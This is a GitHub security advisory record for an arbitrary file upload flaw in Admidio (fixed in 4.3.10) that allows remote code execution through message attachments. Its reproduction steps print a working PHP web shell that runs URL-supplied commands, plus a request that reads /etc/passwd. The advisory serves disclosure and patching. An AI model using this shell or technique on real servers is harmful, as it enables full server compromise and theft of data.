GHSA-g872-jwwr-vggm

Suggest an improvement
Source
https://github.com/advisories/GHSA-g872-jwwr-vggm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/07/GHSA-g872-jwwr-vggm/GHSA-g872-jwwr-vggm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g872-jwwr-vggm
Aliases
Published
2024-07-29T16:32:32Z
Modified
2024-07-29T16:56:56.707034Z
Severity
  • 9.0 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CVSS Calculator
Summary
Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment
Details

Description:

Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidio_base_url}/adm_my_files/messages_attachments/{file_name}.

The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.

An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.

Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.

Impact:

An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:

  • Execute arbitrary code or commands.
  • Access, modify, or delete sensitive data.
  • Install malicious software or scripts.
  • Gain further access to internal networks.
  • Disrupt services and applications hosted on the server.

Recommendation:

  • Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded.
  • Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.

Steps to Reproduce:

  1. As a member user, go to write an email message.
  2. Upload a PHP file in the Attachment, containing the following content:
    <?php
    $command = isset($_GET['command']) ? $_GET['command'] : '';
    $output = [];
    $return_var = 0;
    exec($command, $output, $return_var);
    echo '<h1>Exploiting RCE</h1>';
    echo 'Command: '.$command;
    echo '\n<pre>';
    echo implode("\n", $output);
    echo '</pre>';
    ?>
    
  3. Send the email.
  4. In the message history go to the sent message.
  5. Download the file, to get the uploaded file name.
  6. Go to the following URL: {admidio_base_url}/adm_my_files/messages_attachments/{file_name}?command=cat+/etc/passwd
  7. The server's passwd file would be returned in the response.

Proof Of Concept:

image

Figure 1: Code of messagessend.php, not having file extension verification._

image

Figure 2: Uploading Webshell as attachment.

image

Figure 3: Download the uploaded file to get the uploaded file name.

image

Figure 4: Uploaded File name.

image

Figure 5: RCE via web shell.

image

Figure 6: RCE via Webshell.

Database specific
{
    "nvd_published_at": "2024-07-29T15:15:10Z",
    "cwe_ids": [
        "CWE-434"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-29T16:32:32Z"
}
References

Affected packages

Packagist / admidio/admidio

Package

Name
admidio/admidio
Purl
pkg:composer/admidio/admidio

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.3.10

Affected versions

4.*

4.1.0
4.1.3

v4.*

v4.2-Beta.1
v4.2-Beta.2
v4.2-Beta.3
v4.2.0
v4.2.1
v4.2.2
v4.2.3
v4.2.4
v4.2.5
v4.2.6
v4.2.7
v4.2.8
v4.2.9
v4.2.10
v4.2.11
v4.2.12
v4.2.13
v4.2.14
v4.3-Beta.1
v4.3-Beta.3
v4.3-Beta.4
v4.3-Beta.5
v4.3.0
v4.3.1
v4.3.2
v4.3.3
v4.3.4
v4.3.5
v4.3.6
v4.3.7
v4.3.8
v4.3.9